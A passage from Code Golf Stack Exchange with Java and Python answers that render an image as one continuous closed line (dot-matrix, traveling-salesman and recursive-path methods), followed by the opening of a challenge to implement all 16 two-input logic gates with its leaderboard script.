`turte.tracer(...)` command!) --- **Animation by flawr** flawr: *My algorithm is slightly modified to what @DenDenDo told me: I had to delete some points in every iteration because the convergence would slow down drastically. That's why the curve will intersect itself.* ![enter image description here](https://i.stack.imgur.com/2Kd1e.gif) [Answer] # Java : Dot matrix style Since nobody has answered the question yet I'll give it a shot. First I wanted to fill a canvas with Hilbert curves, but in the end I've opted for a simpler approach: ![dot matrix style mona lisa](https://i.stack.imgur.com/KS1TT.png) Here is the code: ``` import java.awt.Color; import java.awt.Dimension; import java.awt.Graphics; import java.awt.Graphics2D; import java.awt.image.BufferedImage; import java.io.File; import javax.imageio.ImageIO; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.JScrollPane; public class LineArt extends JPanel { private BufferedImage ref; //Images are stored in integers: int[] images = new int[] {31, 475, 14683, 469339}; int[] brightness = new int[] {200,170,120,0}; public static void main(String[] args) throws Exception { new LineArt(args[0]); } public LineArt(String filename) throws Exception { ref = ImageIO.read(new File(filename)); JFrame frame = new JFrame(); frame.setVisible(true); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setSize(ref.getWidth()*5, ref.getHeight()*5); this.setPreferredSize(new Dimension((ref.getWidth()*5)+20, (ref.getHeight()*5)+20)); frame.add(new JScrollPane(this)); } @Override public void paint(Graphics g) { Graphics2D g2d = (Graphics2D) g; g2d.setColor(Color.WHITE); g2d.fillRect(0, 0, getWidth(), getHeight()); g2d.translate(10, 10); g2d.setColor(Color.BLACK); g2d.drawLine(0, 0, 4, 0); g2d.drawLine(0, 0, 0, ref.getHeight()*5); for(int y = 0; y<ref.getHeight();y++) { for(int x = 1; x<ref.getWidth()-1;x++) { int light = new Color(ref.getRGB(x, y)).getRed(); int offset = 0; while(brightness[offset]>light) offset++; for(int i = 0; i<25;i++) { if((images[offset]&1<<i)>0) { g2d.drawRect((x*5)+i%5, (y*5)+(i/5), 0,0); } } } g2d.drawLine(2, (y*5), 4, (y*5)); g2d.drawLine((ref.getWidth()*5)-5, (y*5), (ref.getWidth()*5)-1, (y*5)); if(y%2==0) { g2d.drawLine((ref.getWidth()*5)-1, (y*5), (ref.getWidth()*5)-1, (y*5)+4); } else { g2d.drawLine(2, (y*5), 2, (y*5)+4); } } if(ref.getHeight()%2==0) { g2d.drawLine(0, ref.getHeight()*5, 2, ref.getHeight()*5); } else { g2d.drawLine(0, ref.getHeight()*5, (ref.getWidth()*5)-1, ref.getHeight()*5); } } } ``` **Update**: Now it creates a cycle, not just a single line [Answer] # Python 3.4 - Traveling Salesman Problem The program creates a dithered image from the original: ![enter image description here](https://i.stack.imgur.com/onb1m.png) ![enter image description here](https://i.stack.imgur.com/OEEIb.png) For each black pixel a point is randomly generated near the pixel centre and these points are treated as a [traveling salesman problem](http://en.wikipedia.org/wiki/Travelling_salesman_problem "Wikipedia"). The program saves an html file containing an SVG image at regular intervals as it attempts to reduce the path length. The path starts out self intersecting and gradually becomes less so over a number of hours. Eventually the path is no longer self intersecting: ![enter image description here](https://i.stack.imgur.com/qCDya.png) ![enter image description here](https://i.stack.imgur.com/g5tMh.png) ``` ''' Traveling Salesman image approximation. ''' import os.path from PIL import Image # This uses Pillow, the PIL fork for Python 3.4 # https://pypi.python.org/pypi/Pillow from random import random, sample, randrange, shuffle from time import perf_counter def make_line_picture(image_filename): '''Save SVG image of closed curve approximating input image.''' input_image_path = os.path.abspath(image_filename) image = Image.open(input_image_path) width, height = image.size scale = 1024 / width head, tail = os.path.split(input_image_path) output_tail = 'TSP_' + os.path.splitext(tail)[0] + '.html' output_filename = os.path.join(head, output_tail) points = generate_points(image) population = len(points) save_dither(points, image) grid_cells = [set() for i in range(width * height)] line_cells = [set() for i in range(population)] print('Initialising acceleration grid') for i in range(population): recalculate_cells(i, width, points, grid_cells, line_cells) while True: save_svg(output_filename, width, height, points, scale) improve_TSP_solution(points, width, grid_cells, line_cells) def save_dither(points, image): '''Save a copy of the dithered image generated for approximation.''' image = image.copy() pixels = list(image.getdata()) pixels = [255] * len(pixels) width, height = image.size for p in points: x = int(p[0]) y = int(p[1]) pixels[x+y*width] = 0 image.putdata(pixels) image.save('dither_test.png', 'PNG') def generate_points(image): '''Return a list of points approximating the image. All points are offset by small random amounts to prevent parallel lines.''' width, height = image.size image = image.convert('L') pixels = image.getdata() points = [] gap = 1 r = random for y in range(2*gap, height - 2*gap, gap): for x in range(2*gap, width - 2*gap, gap): if (r()+r()+r()+r()+r()+r())/6 < 1 - pixels[x + y*width]/255: points.append((x + r()*0.5 - 0.25, y + r()*0.5 - 0.25)) shuffle(points) print('Total number of points', len(points)) print('Total length', current_total_length(points)) return points def current_total_length(points): '''Return the total length of the current closed curve approximation.''' population = len(points) return sum(distance(points[i], points[(i+1)%population]) for i in range(population)) def recalculate_cells(i, width, points, grid_cells, line_cells): '''Recalculate the grid acceleration cells for the line from point i.''' for j in line_cells[i]: try: grid_cells[j].remove(i) except KeyError: print('grid_cells[j]',grid_cells[j]) print('i',i) line_cells[i] = set() add_cells_along_line(i, width, points, grid_cells, line_cells) for j in line_cells[i]: grid_cells[j].add(i) def add_cells_along_line(i, width, points, grid_cells, line_cells): '''Add each grid cell that lies on the line from point i.''' population = len(points) start_coords = points[i] start_x, start_y = start_coords end_coords = points[(i+1) % population] end_x, end_y = end_coords gradient = (end_y - start_y) / (end_x - start_x) y_intercept = start_y - gradient * start_x total_distance = distance(start_coords, end_coords) x_direction = end_x - start_x y_direction = end_y - start_y x, y = start_x, start_y grid_x, grid_y = int(x), int(y) grid_index = grid_x + grid_y * width line_cells[i].add(grid_index) while True: if x_direction > 0: x_line = int(x + 1) else: x_line = int(x) if x_line == x: x_line = x - 1 if y_direction > 0: y_line = int(y + 1) else: y_line = int(y) if y_line == y: y_line = y - 1 x_line_intersection = gradient * x_line + y_intercept y_line_intersection = (y_line - y_intercept) / gradient x_line_distance = distance(start_coords, (x_line, x_line_intersection)) y_line_distance = distance(start_coords, (y_line_intersection, y_line)) if (x_line_distance > total_distance and y_line_distance > total_distance): break if x_line_distance < y_line_distance: x = x_line y = gradient * x_line + y_intercept else: y = y_line x = (y_line - y_intercept) / gradient grid_x = int(x - (x_direction < 0) * (x == int(x))) grid_y = int(y - (y_direction < 0) * (y == int(y))) grid_index = grid_x + grid_y * width line_cells[i].add(grid_index) def improve_TSP_solution(points, width, grid_cells, line_cells, performance=[0,0,0], total_length=None): '''Apply 3 approaches, allocating time to each based on performance.''' population = len(points) if total_length is None: total_length = current_total_length(points) print('Swapping pairs of vertices') if performance[0] == max(performance): time_limit = 300 else: time_limit = 10 print(' Aiming for {} seconds'.format(time_limit)) start_time = perf_counter() for n in range(1000000): swap_two_vertices(points, width, grid_cells, line_cells) if perf_counter() - start_time > time_limit: break time_taken = perf_counter() - start_time old_length = total_length total_length = current_total_length(points) performance[0] = (old_length - total_length) / time_taken print(' Time taken', time_taken) print(' Total length', total_length) print(' Performance', performance[0]) print('Moving single vertices') if performance[1] == max(performance): time_limit = 300 else: time_limit = 10 print(' Aiming for {} seconds'.format(time_limit)) start_time = perf_counter() for n in range(1000000): move_a_single_vertex(points, width, grid_cells, line_cells) if perf_counter() - start_time > time_limit: break time_taken = perf_counter() - start_time old_length = total_length total_length = current_total_length(points) performance[1] = (old_length - total_length) / time_taken print(' Time taken', time_taken) print(' Total length', total_length) print(' Performance', performance[1]) print('Uncrossing lines') if performance[2] == max(performance): time_limit = 60 else: time_limit = 10 print(' Aiming for {} seconds'.format(time_limit)) start_time = perf_counter() for n in range(1000000): uncross_lines(points, width, grid_cells, line_cells) if perf_counter() - start_time > time_limit: break time_taken = perf_counter() - start_time old_length = total_length total_length = current_total_length(points) performance[2] = (old_length - total_length) / time_taken print(' Time taken', time_taken) print(' Total length', total_length) print(' Performance', performance[2]) def swap_two_vertices(points, width, grid_cells, line_cells): '''Attempt to find a pair of vertices that reduce length when swapped.''' population = len(points) for n in range(100): candidates = sample(range(population), 2) befores = [(candidates[i] - 1) % population for i in (0,1)] afters = [(candidates[i] + 1) % population for i in (0,1)] current_distance = sum((distance(points[befores[i]], points[candidates[i]]) + distance(points[candidates[i]], points[afters[i]])) for i in (0,1)) (points[candidates[0]], points[candidates[1]]) = (points[candidates[1]], points[candidates[0]]) befores = [(candidates[i] - 1) % population for i in (0,1)] afters = [(candidates[i] + 1) % population for i in (0,1)] new_distance = sum((distance(points[befores[i]], points[candidates[i]]) + distance(points[candidates[i]], points[afters[i]])) for i in (0,1)) if new_distance > current_distance: (points[candidates[0]], points[candidates[1]]) = (points[candidates[1]], points[candidates[0]]) else: modified_points = tuple(set(befores + candidates)) for k in modified_points: recalculate_cells(k, width, points, grid_cells, line_cells) return def move_a_single_vertex(points, width, grid_cells, line_cells): '''Attempt to find a vertex that reduces length when moved elsewhere.''' for n in range(100): population = len(points) candidate = randrange(population) offset = randrange(2, population - 1) new_location = (candidate + offset) % population before_candidate = (candidate - 1) % population after_candidate = (candidate + 1) % population before_new_location = (new_location - 1) % population old_distance = (distance(points[before_candidate], points[candidate]) + distance(points[candidate], points[after_candidate]) + distance(points[before_new_location], points[new_location])) new_distance = (distance(points[before_candidate], points[after_candidate]) + distance(points[before_new_location], points[candidate]) + distance(points[candidate], points[new_location])) if new_distance <= old_distance: if new_location < candidate: points[:] = (points[:new_location] + points[candidate:candidate + 1] + points[new_location:candidate] + points[candidate + 1:]) for k in range(candidate - 1, new_location, -1): for m in line_cells[k]: grid_cells[m].remove(k) line_cells[k] = line_cells[k - 1] for m in line_cells[k]: grid_cells[m].add(k) for k in ((new_location - 1) % population, new_location, candidate): recalculate_cells(k, width, points, grid_cells, line_cells) else: points[:] = (points[:candidate] + points[candidate + 1:new_location] + points[candidate:candidate + 1] + points[new_location:]) for k in range(candidate, new_location - 3): for m in line_cells[k]: grid_cells[m].remove(k) line_cells[k] = line_cells[k + 1] for m in line_cells[k]: grid_cells[m].add(k) for k in ((candidate - 1) % population, new_location - 2, new_location - 1): recalculate_cells(k, width, points, grid_cells, line_cells) return def uncross_lines(points, width, grid_cells, line_cells): '''Attempt to find lines that are crossed, and reverse path to uncross.''' population = len(points) for n in range(100): i = randrange(population) start_1 = points[i] end_1 = points[(i + 1) % population] if not line_cells[i]: recalculate_cells(i, width, points, grid_cells, line_cells) for cell in line_cells[i]: for j in grid_cells[cell]: if i != j and i != (j+1)%population and i != (j-1)%population: start_2 = points[j] end_2 = points[(j + 1) % population] if are_crossed(start_1, end_1, start_2, end_2): if i < j: points[i + 1:j + 1] = reversed(points[i + 1:j + 1]) for k in range(i, j + 1): recalculate_cells(k, width, points, grid_cells, line_cells) else: points[j + 1:i + 1] = reversed(points[j + 1:i + 1]) for k in range(j, i + 1): recalculate_cells(k, width, points, grid_cells, line_cells) return def are_crossed(start_1, end_1, start_2, end_2): '''Return True if the two lines intersect.''' if end_1[0]-start_1[0] and end_2[0]-start_2[0]: gradient_1 = (end_1[1]-start_1[1])/(end_1[0]-start_1[0]) gradient_2 = (end_2[1]-start_2[1])/(end_2[0]-start_2[0]) if gradient_1-gradient_2: intercept_1 = start_1[1] - gradient_1 * start_1[0] intercept_2 = start_2[1] - gradient_2 * start_2[0] x = (intercept_2 - intercept_1) / (gradient_1 - gradient_2) if (x-start_1[0]) * (end_1[0]-x) > 0 and (x-start_2[0]) * (end_2[0]-x) > 0: return True def distance(point_1, point_2): '''Return the Euclidean distance between the two points.''' return sum((point_1[i] - point_2[i]) ** 2 for i in (0, 1)) ** 0.5 def save_svg(filename, width, height, points, scale): '''Save a file containing an SVG path of the points.''' print('Saving partial solution\n') with open(filename, 'w') as file: file.write(content(width, height, points, scale)) def content(width, height, points, scale): '''Return the full content to be written to the SVG file.''' return (header(width, height, scale) + specifics(points, scale) + footer() ) def header(width, height,scale): '''Return the text of the SVG header.''' return ('<?xml version="1.0"?>\n' '<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN"\n' ' "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">\n' '\n' '<svg width="{0}" height="{1}">\n' '<title>Traveling Salesman Problem</title>\n' '<desc>An approximate solution to the Traveling Salesman Problem</desc>\n' ).format(scale*width, scale*height) def specifics(points, scale): '''Return text for the SVG path command.''' population = len(points) x1, y1 = points[-1] x2, y2 = points[0] x_mid, y_mid = (x1 + x2) / 2, (y1 + y2) / 2 text = '<path d="M{},{} L{},{} '.format(x1, y1, x2, y2) for i in range(1, population): text += 'L{},{} '.format(*points[i]) text += '" stroke="black" fill="none" stroke-linecap="round" transform="scale({0},{0})" vector-effect="non-scaling-stroke" stroke-width="3"/>'.format(scale) return text def footer(): '''Return the closing text of the SVG file.''' return '\n</svg>\n' if __name__ == '__main__': import sys arguments = sys.argv[1:] if arguments: make_line_picture(arguments[0]) else: print('Required argument: image file') ``` The program uses 3 different approaches to improving the solution, and measures the performance per second for each. The time allocated to each approach is adjusted to give the majority of time to whatever approach is best performing at that time. I initially tried guessing what proportion of time to allocate to each approach, but it turns out that which approach is most effective varies considerably during the course of the process, so it makes a big difference to keep adjusting automatically. The three simple approaches are: 1. Pick two points at random and swap them if this does not increase the total length. 2. Pick one point at random and a random offset along the list of points and move it if the length does not increase. 3. Pick a line at random and check whether any other line crosses it, reversing any section of path that causes a cross. For approach 3 a grid is used, listing all of the lines that pass through a given cell. Rather than have to check every line on the page for intersection, only those that have a grid cell in common are checked. --- I got the idea for using the traveling salesman problem from a blog post that I saw before this challenge was posted, but I couldn't track it down when I posted this answer. I believe the image in the challenge was produced using a traveling salesman approach too, combined with some kind of path smoothing to remove the sharp turns. I still can't find the specific blog post but I have now found reference to the [original papers in which the Mona Lisa was used to demonstrate the traveling salesman problem](http://www.math.uwaterloo.ca/tsp/data/ml/monalisa.html). The TSP implementation here is a hybrid approach which I experimented with for fun for this challenge. I hadn't read the linked papers when I posted this. My approach is painfully slow by comparison. Note that my image here uses less than 10,000 points, and takes many hours to converge enough to have no crossing lines. The example image in the link to the papers uses 100,000 points... Unfortunately most of the links seem to be dead now, but [the paper "TSP Art" by Craig S Kaplan & Robert Bosch 2005](http://www.cgl.uwaterloo.ca/%7Ecsk/papers/kaplan_bridges2005b.pdf) still works and gives an interesting overview of different approaches. [Answer] ## Java - Oscillations The program draws a closed path and add oscillations whose amplitude and frequency are based on image brightness. The "corners" of path do not have oscillations to make sure the path does not intersects itself. ![enter image description here](https://i.stack.imgur.com/j373C.png) ``` package trace; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; import snake.Image; public class Main5 { private final static int MULT = 3; private final static int ROWS = 80; // must be an even number private final static int COLS = 40; public static void main(String[] args) throws IOException { BufferedImage src = ImageIO.read(Image.class.getClassLoader().getResourceAsStream("input.png")); BufferedImage dest = new BufferedImage(src.getWidth()*MULT, src.getHeight()*MULT, BufferedImage.TYPE_INT_RGB); int [] white = {255, 255, 255}; for (int y = 0; y < dest.getHeight(); y++) { for (int x = 0; x < dest.getWidth(); x++) { dest.getRaster().setPixel(x, y, white); } } for (int j = 0; j < ROWS; j++) { if (j%2 == 0) { for (int i = j==0 ? 0 : 1; i < COLS-1; i++) { drawLine(dest, src, (i+.5)*dest.getWidth()/COLS, (j+.5)*dest.getHeight()/ROWS, (i+1.5)*dest.getWidth()/COLS, (j+.5)*dest.getHeight()/ROWS, i > 1 && i < COLS-2); } drawLine(dest, src, (COLS-.5)*dest.getWidth()/COLS, (j+.5)*dest.getHeight()/ROWS, (COLS-.5)*dest.getWidth()/COLS, (j+1.5)*dest.getHeight()/ROWS, false); } else { for (int i = COLS-2; i >= (j == ROWS - 1 ? 0 : 1); i--) { drawLine(dest, src, (i+.5)*dest.getWidth()/COLS, (j+.5)*dest.getHeight()/ROWS, (i+1.5)*dest.getWidth()/COLS, (j+.5)*dest.getHeight()/ROWS, i > 1 && i < COLS-2); } if (j < ROWS-1) { drawLine(dest, src, (1.5)*dest.getWidth()/COLS, (j+.5)*dest.getHeight()/ROWS, (1.5)*dest.getWidth()/COLS, (j+1.5)*dest.getHeight()/ROWS, false); } } if (j < ROWS-1) { drawLine(dest, src, 0.5*dest.getWidth()/COLS, (j+.5)*dest.getHeight()/ROWS, 0.5*dest.getWidth()/COLS, (j+1.5)*dest.getHeight()/ROWS, false); } } ImageIO.write(dest, "png", new File("output.png")); } private static void drawLine(BufferedImage dest, BufferedImage src, double x1, double y1, double x2, double y2, boolean oscillate) { int [] black = {0, 0, 0}; int col = smoothPixel((int)((x1*.5 + x2*.5) / MULT), (int)((y1*.5+y2*.5) / MULT), src); int fact = (255 - col) / 32; if (fact > 5) fact = 5; double dx = y1 - y2; double dy = - (x1 - x2); double dist = 2 * (Math.abs(x1 - x2) + Math.abs(y1 - y2)) * (fact + 1); for (int i = 0; i <= dist; i++) { double amp = oscillate ? (1 - Math.cos(fact * i*Math.PI*2/dist)) * 12 : 0; double x = (x1 * i + x2 * (dist - i)) / dist; double y = (y1 * i + y2 * (dist - i)) / dist; x += dx * amp / COLS; y += dy * amp / ROWS; dest.getRaster().setPixel((int)x, (int)y, black); } } public static int smoothPixel(int x, int y, BufferedImage src) { int sum = 0, count = 0; for (int j = -2; j <= 2; j++) { for (int i = -2; i <= 2; i++) { if (x + i >= 0 && x + i < src.getWidth()) { if (y + j >= 0 && y + j < src.getHeight()) { sum += src.getRGB(x + i, y + j) & 255; count++; } } } } return sum / count; } } ``` Below a comparable algorithm that is based on a spiral. (**I know the path does not close and that it certainly intersects**, I just post it for the sake of art :-) ![enter image description here](https://i.stack.imgur.com/NfSol.png) [Answer] ## Java - Recursive Path I start from a 2x3 closed path. I scan each cell of the path and divide it into a new 3x3 sub-path. I try each time to choose the 3x3 sub-path that "looks like" the original picture. I repeat the above process 4 times. ![enter image description here](https://i.stack.imgur.com/N8xTm.png) ![enter image description here](https://i.stack.imgur.com/0AX2b.png) ![enter image description here](https://i.stack.imgur.com/cm50B.png) Here is the code: ``` package divide; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import javax.imageio.ImageIO; import snake.Image; public class Divide { private final static int MULT = 3; private final static int ITERATIONS = 4; public static void main(String[] args) throws IOException { BufferedImage src = ImageIO.read(Image.class.getClassLoader().getResourceAsStream("input.png")); BufferedImage dest = new BufferedImage(src.getWidth() * MULT, src.getHeight() * MULT, BufferedImage.TYPE_INT_RGB); for (int y = 0; y < src.getHeight() * MULT; y++) { for (int x = 0; x < src.getWidth() * MULT; x++) { dest.getRaster().setPixel(x, y, new int [] {255, 255, 255}); } } List<String> tab = new ArrayList<String>(); tab.add("rg"); tab.add("||"); tab.add("LJ"); for (int k = 1; k <= ITERATIONS; k++) { boolean choose = k>=ITERATIONS-1; // multiply size by 3 tab = iterate(src, tab, choose); // fill in the white space - if needed expand(src, tab, " r", " L", "r-", "L-", choose); expand(src, tab, "g ", "J ", "-g", "-J", choose); expand(src, tab, "LJ", " ", "||", "LJ", choose); expand(src, tab, " ", "rg", "rg", "||", choose); expand(src, tab, "L-J", " ", "| |", "L-J", choose); expand(src, tab, " ", "r-g", "r-g", "| |", choose); expand(src, tab, "| |", "| |", "Lg|", "rJ|", choose); expand(src, tab, "--", " ", "gr", "LJ", choose); expand(src, tab, " ", "--", "rg", "JL", choose); expand(src, tab, "| ", "| ", "Lg", "rJ", choose); expand(src, tab, " |", " |", "rJ", "Lg", choose); for (String s : tab) { System.out.println(s); } System.out.println(); } for (int j = 0; j < tab.size(); j++) { String line = tab.get(j); for (int i = 0; i < line.length(); i++) { char c = line.charAt(i); int xleft = i * dest.getWidth() / line.length(); int xright = (i+1) * dest.getWidth() / line.length(); int ytop = j * dest.getHeight() / tab.size(); int ybottom = (j+1) * dest.getHeight() / tab.size(); int x = (xleft + xright) / 2; int y = (ytop + ybottom) / 2; if (c == '|') { drawLine(dest, x, ytop, x, ybottom); } if (c == '-') { drawLine(dest, xleft, y, xright, y); } if (c == 'L') { drawLine(dest, x, y, xright, y); drawLine(dest, x, y, x, ytop); } if (c == 'J') { drawLine(dest, x, y, xleft, y); drawLine(dest, x, y, x, ytop); } if (c == 'r') { drawLine(dest, x, y, xright, y); drawLine(dest, x, y, x, ybottom); } if (c == 'g') { drawLine(dest, x, y, xleft, y); drawLine(dest, x, y, x, ybottom); } } } ImageIO.write(dest, "png", new File("output.png")); } private static void drawLine(BufferedImage dest, int x1, int y1, int x2, int y2) { int dist = Math.max(Math.abs(x1 - x2), Math.abs(y1 - y2)); for (int i = 0; i <= dist; i++) { int x = (x1*(dist - i) + x2 * i) / dist; int y = (y1*(dist - i) + y2 * i) / dist; dest.getRaster().setPixel(x, y, new int [] {0, 0, 0}); } } private static void expand(BufferedImage src, List<String> tab, String p1, String p2, String r1, String r2, boolean choose) { for (int k = 0; k < (choose ? 2 : 1); k++) { while (true) { boolean again = false; for (int j = 0; j < tab.size() - 1; j++) { String line1 = tab.get(j); String line2 = tab.get(j+1); int baseScore = evaluateLine(src, j, tab.size(), line1) + evaluateLine(src, j+1, tab.size(), line2); for (int i = 0; i <= line1.length() - p1.length(); i++) { if (line1.substring(i, i + p1.length()).equals(p1) && line2.substring(i, i + p2.length()).equals(p2)) { String nline1 = line1.substring(0, i) + r1 + line1.substring(i + p1.length()); String nline2 = line2.substring(0, i) + r2 + line2.substring(i + p2.length()); int nScore = evaluateLine(src, j, tab.size(), nline1) + evaluateLine(src, j+1, tab.size(), nline2); if (!choose || nScore > baseScore) { tab.set(j, nline1); tab.set(j+1, nline2); again = true; break; } } } if (again) break; } if (!again) break; } String tmp1 = r1; String tmp2 = r2; r1 = p1; r2 = p2; p1 = tmp1; p2 = tmp2; } } private static int evaluateLine(BufferedImage src, int j, int tabSize, String line) { int [] color = {0, 0, 0}; int score = 0; for (int i = 0; i < line.length(); i++) { char c = line.charAt(i); int x = i*src.getWidth() / line.length(); int y = j*src.getHeight() / tabSize; src.getRaster().getPixel(x, y, color); if (c == ' ' && color[0] >= 128) score++; if (c != ' ' && color[0] < 128) score++; } return score; } private static List<String> iterate(BufferedImage src, List<String> tab, boolean choose) { int [] color = {0, 0, 0}; List<String> tab2 = new ArrayList<String>(); for (int j = 0; j < tab.size(); j++) { String line = tab.get(j); String l1 = "", l2 = "", l3 = ""; for (int i = 0; i < line.length(); i++) { char c = line.charAt(i); List<String []> candidates = replace(c); String [] choice = null; if (choose) { int best = 0; for (String [] candidate : candidates) { int bright1 = 0; int bright2 = 0; for (int j1 = 0; j1<3; j1++) { int y = j*3+j1; for (int i1 = 0; i1<3; i1++) { int x = i*3+i1; char c2 = candidate[j1].charAt(i1); src.getRaster().getPixel(x*src.getWidth()/(line.length()*3), y*src.getHeight()/(tab.size()*3), color); if (c2 != ' ') bright1++; if (color[0] > 128) bright2++; } } int score = Math.abs(bright1 - bright2); if (choice == null || score > best) { best = score; choice = candidate; } } } else { choice = candidates.get(0); } //String [] r = candidates.get(rand.nextInt(candidates.size())); String [] r = choice; l1 += r[0]; l2 += r[1]; l3 += r[2]; } tab2.add(l1); tab2.add(l2); tab2.add(l3); } return tab2; } private static List<String []> replace(char c) { if (c == 'r') { return Arrays.asList( new String[] { "r-g", "| L", "Lg "}, new String[] { " ", " r-", " | "}, new String[] { " ", "r--", "Lg "}, new String[] { " rg", " |L", " | "}, new String[] { " ", " r", " rJ"}); } else if (c == 'g') { return Arrays.asList( new String[] { "r-g", "J |", " rJ"}, new String[] { " ", "-g ", " | "}, new String[] { " ", "--g", " rJ"}, new String[] { "rg ", "J| ", " | "}, new String[] { " ", "g ", "Lg "}); } else if (c == 'L') { return Arrays.asList( new String[] { "rJ ", "| r", "L-J"}, new String[] { " | ", " L-", " "}, new String[] { "rJ ", "L--", " "}, new String[] { " | ", " |r", " LJ"}, new String[] { " Lg", " L", " "}); } else if (c == 'J') { return Arrays.asList( new String[] { " Lg", "g |", "L-J"}, new String[] { " | ", "-J ", " "}, new String[] { " Lg", "--J", " "}, new String[] { " | ", "g| ", "LJ "}, new String[] { "rJ ", "J ", " "}); } else if (c == '-') { return Arrays.asList( new String[] { " rg", "g|L", "LJ "}, new String[] { "rg ", "J|r", " LJ"}, new String[] { " ", "---", " "}, new String[] { "r-g", "J L", " "}, new String[] { " ", "g r", "L-J"}, new String[] { "rg ", "JL-", " "}, new String[] { " rg", "-JL", " "}, new String[] { " ", "gr-", "LJ "}, new String[] { " ", "-gr", " LJ"} ); } else if (c == '|') { return Arrays.asList( new String[] { " Lg", "r-J", "Lg "}, new String[] { "rJ ", "L-g", " rJ"}, new String[] { " | ", " | ", " | "}, new String[] { " Lg", " |", " rJ"}, new String[] { "rJ ", "| ", "Lg "}, new String[] { " Lg", " rJ", " | "}, new String[] { " | ", " Lg", " rJ"}, new String[] { "rJ ", "Lg ", " | "}, new String[] { " | ", "rJ ", "Lg "} ); } else { List<String []> ret = new ArrayList<String []>(); ret.add( new String[] { " ", " ", " "}); return ret; } } } ``` ]
[Question] [ For example, the gate `A and B` is a logic gate with 2 inputs and 1 output. There are exactly 16 of them, because: * each logic gate takes two inputs, which can be truthy or falsey, giving us 4 possible inputs * of the 4 possible inputs, each can have an output of truthy and falsey * therefore, there are 2^4 possible logic gates, which is 16. Your task is to write 16 programs/functions which implement all of them separately. Your functions/programs **must be independent**. They are valid as long as they output truthy/falsey values, meaning that you can implement `A or B` in Python as `lambda a,b:a+b`, even if `2` is produced for `A=True` and `B=True`. Score is total bytes used for each function/program. ## List of logic gates 1. 0,0,0,0 (`false`) 2. 0,0,0,1 (`and`) 3. 0,0,1,0 (`A and not B`) 4. 0,0,1,1 (`A`) 5. 0,1,0,0 (`not A and B`) 6. 0,1,0,1 (`B`) 7. 0,1,1,0 (`xor`) 8. 0,1,1,1 (`or`) 9. 1,0,0,0 (`nor`) 10. 1,0,0,1 (`xnor`) 11. 1,0,1,0 (`not B`) 12. 1,0,1,1 (`B implies A`) 13. 1,1,0,0 (`not A`) 14. 1,1,0,1 (`A implies B`) 15. 1,1,1,0 (`nand`) 16. 1,1,1,1 (`true`) Where the first number is the output for `A=false, B=false`, the second number is the output for `A=false, B=true`, the third number is the output for `A=true, B=false`, the fourth number is the output for `A=true, B=true`. # Leaderboard ``` var QUESTION_ID=82938,OVERRIDE_USER=48934;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+(?:\.\d+)?)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> 